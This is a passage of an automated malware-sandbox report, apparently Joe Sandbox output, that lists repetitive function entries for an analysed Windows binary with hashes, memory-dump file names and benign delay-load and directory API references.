Opcode ID: 2ad66bb3f9832ca1f49ed09ce12e2b2d9b7ff4f28917a233bc9888a9694bfdc1
Instruction ID: 190b6a28aec5b260f11fa39bcaafe7e4038675832329e3e4c998d852b0a21575
Opcode Fuzzy Hash: 2ad66bb3f9832ca1f49ed09ce12e2b2d9b7ff4f28917a233bc9888a9694bfdc1
Instruction Fuzzy Hash: ECB0128A3DC1206C3204D1247E42D3701CCC0C2B1133046DAF40CD1D41EE804D891132

Function 00B24949 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 49767be90494e792fa6b3b2805e41736f1c74d1efee42fce955906de52df8d69
Instruction ID: 348c5117177b5b445f9f1dcaeb33f14a9e33138dad36cb5534317068f0d764fc
Opcode Fuzzy Hash: 49767be90494e792fa6b3b2805e41736f1c74d1efee42fce955906de52df8d69
Instruction Fuzzy Hash: 1DB0128A3DC2206C3344D1147E42D3701CCC0C2B1133047DAF40CD1D41EE804DC95032

Function 00B24A07 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 050f0063cab454742288efeebea79e5ec5c8ef51647625ac157cedb1ccd9b10e
Instruction ID: d79d9f6e2f3c38304b2af53d93cbe72a3d8c4b8d3734096d12db74f7543ed120
Opcode Fuzzy Hash: 050f0063cab454742288efeebea79e5ec5c8ef51647625ac157cedb1ccd9b10e
Instruction Fuzzy Hash: 78B012863EC0206C320491147E03D3701CCC0C3B113308ADAF80CD5841EE804D881032

Function 00B24B8A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b66dd36f5f145e2be3510574f464a104eb22b128cc7621219dfeadd721f57e22
Instruction ID: 17e0330c4badc3f6c63424f05bb0f794cdaa2ce9ecf10eccb8df73b4bb420d9f
Opcode Fuzzy Hash: b66dd36f5f145e2be3510574f464a104eb22b128cc7621219dfeadd721f57e22
Instruction Fuzzy Hash: 86B012823DC130AC3104D1097E47E3711CCC0C1B2133093DAF80CC1581EEC05C491032

Function 00B24B62 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1ad5f43115476b4a3f8b4407bb06b123f56730c3cf6516c784e25a2c0ea8ad65
Instruction ID: 900186146aae036c1d4403711762f298508dbcbc36ff9169be73803443a1c19d
Opcode Fuzzy Hash: 1ad5f43115476b4a3f8b4407bb06b123f56730c3cf6516c784e25a2c0ea8ad65
Instruction Fuzzy Hash: 7AB012823DC0306C31449109BF07E3711CCC0C1B1133093DAF40CC1481EEC04C491032

Function 00B24B58 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24B3B

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a2b0f46119c63f5a81659a6dbf3d25ff8ee16021baf24af8713ae5d6e1110fcb
Instruction ID: e87b60418c2a4ab7f18505d1d36df0bcec5e918a5928e0deb2bce37539651bcd
Opcode Fuzzy Hash: a2b0f46119c63f5a81659a6dbf3d25ff8ee16021baf24af8713ae5d6e1110fcb
Instruction Fuzzy Hash: 1CB012823DC1306C32049109BE07E3711CCC0C1B1133053DAF40CC14C1EEC05C8C1032

Function 00B24CB7 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24C90

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4d89c50bf5fc84af8c00ccf821113c0738b31015052c5b953ff3f06dd26c029d
Instruction ID: cb2da64a68ea96e7ebcdc3e7033368f9b0b117293af36113a3b9938f451622cd
Opcode Fuzzy Hash: 4d89c50bf5fc84af8c00ccf821113c0738b31015052c5b953ff3f06dd26c029d
Instruction Fuzzy Hash: 39B012823DD021BC310491187E02E3701CCC0C1B1133146EAF40CC2C81EE800C4C1031

Function 00B24CAD Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24C90

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 530a60941947b6441ccc36630f1130a2979d95c7706428ba5ae079ea6da3424c
Instruction ID: 6ca33deae457ae42a93eb33b03328434fac609ab4fae795a764dfcc824790dc4
Opcode Fuzzy Hash: 530a60941947b6441ccc36630f1130a2979d95c7706428ba5ae079ea6da3424c
Instruction Fuzzy Hash: A3B012823DD020BC314491187F02D3701CCC0C1B1133186EAF40CC2881EE800C4D1031

Function 00B24C99 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24C90

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5924d8f8b1e1cd3dc11e8ea1102a022c58309a73ab0fa2a511e4d501a66859ad
Instruction ID: 17da07cf0ed83aa67d70e22ad2d247fda941a90d0ad86d1d58785180144f809e
Opcode Fuzzy Hash: 5924d8f8b1e1cd3dc11e8ea1102a022c58309a73ab0fa2a511e4d501a66859ad
Instruction Fuzzy Hash: BBB012823DD020FC310491287E02D3701CCC0C1B2133186EAF80CC2881EE800C4C1031

Function 00B24C7E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24C90

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c57697b6d08d97b2f3f7e2751e2064416bee98c18c05437d395ca387dd857819
Instruction ID: 02362cfdcf8f27005836afb6890387c799636768fe8752f4a64cb63b2e1ad47f
Opcode Fuzzy Hash: c57697b6d08d97b2f3f7e2751e2064416bee98c18c05437d395ca387dd857819
Instruction Fuzzy Hash: A5B012863DD020BD310451087F02C3701CCC8D1B1273187DAF408C0882AE800C491031

Function 00B24D22 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24CF1

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8b0decb524b6946dcf0d4362ea0ebf516620fb845b99f861f4c7e22a5128808e
Instruction ID: 43cce25f5f850a4bc775827120bdda3f6fd0015337010c23210026f96d354adb
Opcode Fuzzy Hash: 8b0decb524b6946dcf0d4362ea0ebf516620fb845b99f861f4c7e22a5128808e
Instruction Fuzzy Hash: 73B012863DD4226C3108A1187F06E3701CCD0C1B1133042EAF40CC2841EF800C4E1031

Function 00B24D18 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24CF1

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b71725c00e0c3847da6784bfece19e9440027c53d5fe1919927fe8c96ad0a624
Instruction ID: dd394bcd5205433658c78d940a0776f5c7e9db5353417675a4e764c347bbe254
Opcode Fuzzy Hash: b71725c00e0c3847da6784bfece19e9440027c53d5fe1919927fe8c96ad0a624
Instruction Fuzzy Hash: 4DB012863DD4217C3148A1087F06D3701CCC0C2B1133082DAF80CC3441EF800C4D1031

Function 00B24D04 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24CF1

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fa33e4c0647e8226ea944fb189f87429cf397fff37e836c217f78aa5117e1dd7
Instruction ID: ec5bd2f112fb9634eae6b35942a3931dd3c752eac4bb24450349f468cd3099cd
Opcode Fuzzy Hash: fa33e4c0647e8226ea944fb189f87429cf397fff37e836c217f78aa5117e1dd7
Instruction Fuzzy Hash: F1B012863DD5216C3248A1087F06E3701CCC0C1B1133043EAF40CC2441EF810C8E1031

Function 00B12226 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?), ref: 00B12233

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 5b0f99e36a9eb35b39e4053cb788242b9a16fd63a60ee96619d2d9144d73e19d
Instruction ID: 70a7af29963de80a94abddafe932c9a9cb46faa8c5ae1b9b39574a4952a7d6d1
Opcode Fuzzy Hash: 5b0f99e36a9eb35b39e4053cb788242b9a16fd63a60ee96619d2d9144d73e19d
Instruction Fuzzy Hash: F3C04C70201300DF8704CFA4DA8CA0E77EABF567057518468F440CB020C734DD60DB65

Function 00B249B2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b8bfc6ced397f27217d49f97ca67c53a8fef05f004b2bdac43b2e2fcc3e29f3
Instruction ID: 3882a1ac807825e2e0080d9f3e0eaea84bcf95cdbecfeabec28086afa3a9519a
Opcode Fuzzy Hash: 0b8bfc6ced397f27217d49f97ca67c53a8fef05f004b2bdac43b2e2fcc3e29f3
Instruction Fuzzy Hash: 1CA0029559D1217C310451517E46C37019DC4C6B517314A99F40DD58516A8159855431

Function 00B249F8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 961b5e33fa1293a393329510a2458ccef81c96bfb24ee9fd6c86c8ec9084178b
Instruction ID: 3882a1ac807825e2e0080d9f3e0eaea84bcf95cdbecfeabec28086afa3a9519a
Opcode Fuzzy Hash: 961b5e33fa1293a393329510a2458ccef81c96bfb24ee9fd6c86c8ec9084178b
Instruction Fuzzy Hash: 1CA0029559D1217C310451517E46C37019DC4C6B517314A99F40DD58516A8159855431

Function 00B249E4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e77115a07be1b230e2e8ee2200cac2d2772a5a3c5efeb8bbfd5c73c6da1fef21
Instruction ID: 3882a1ac807825e2e0080d9f3e0eaea84bcf95cdbecfeabec28086afa3a9519a
Opcode Fuzzy Hash: e77115a07be1b230e2e8ee2200cac2d2772a5a3c5efeb8bbfd5c73c6da1fef21
Instruction Fuzzy Hash: 1CA0029559D1217C310451517E46C37019DC4C6B517314A99F40DD58516A8159855431

Function 00B249EE Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2aab2a5394fac8aad57c09320cc35a5a82af98cf4a9c59ba4c78066e62a899aa
Instruction ID: 3882a1ac807825e2e0080d9f3e0eaea84bcf95cdbecfeabec28086afa3a9519a
Opcode Fuzzy Hash: 2aab2a5394fac8aad57c09320cc35a5a82af98cf4a9c59ba4c78066e62a899aa
Instruction Fuzzy Hash: 1CA0029559D1217C310451517E46C37019DC4C6B517314A99F40DD58516A8159855431

Function 00B249D0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00B24918

Part of subcall function 00B24FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00B25041
Part of subcall function 00B24FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?,?,00000000,?), ref: 00B25052

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
